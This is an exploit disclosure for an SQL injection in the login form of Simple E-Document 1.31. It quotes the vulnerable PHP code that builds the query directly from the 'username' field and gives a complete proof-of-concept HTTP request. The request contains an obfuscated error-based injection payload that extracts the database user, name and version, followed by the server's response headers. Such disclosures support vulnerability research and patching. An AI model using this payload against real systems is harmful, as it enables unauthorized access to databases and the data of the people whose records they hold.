Simple E-Document 1.31 - 'username' SQL Injection

# Exploit Title: Simple E-Document 1.31 - 'username' SQL Injection
# Dork: N/A
# Date: 2018-11-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.tecorange.com/index.php/download-free-open-source-software/79-simple-e-document-free-open-source-document-and-paper-m
# Software Link: https://datapacket.dl.sourceforge.net/project/simplee-doc/simple_e_document_v_1_31.zip
# Version: 1.31
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# //[PATH]//login.php
# ....
#10 if(!isset($_POST['op'])) $_POST['op']='';
#11 if(!isset($_POST['username'])) $_POST['username']='';
#12 if(!isset($_POST['password'])) $_POST['password']='';
#13 if(!isset($op)) $op='';
#14 
#15 $op = $_POST['op'];
#16 $username= stripslashes($_POST['username']);
#17 $password= stripslashes($_POST['password']);
#18 $r_password = md5($password);
#19 
#20 $sql = "SELECT * From edocphp_users WHERE username='$username' AND password ='$r_password'";
# ....

# POC: 
# 1) 
# http://localhost/[PATH]/login.php
# 
POST /PATH/login.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 267
username=12'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 07:44:24 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 241
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8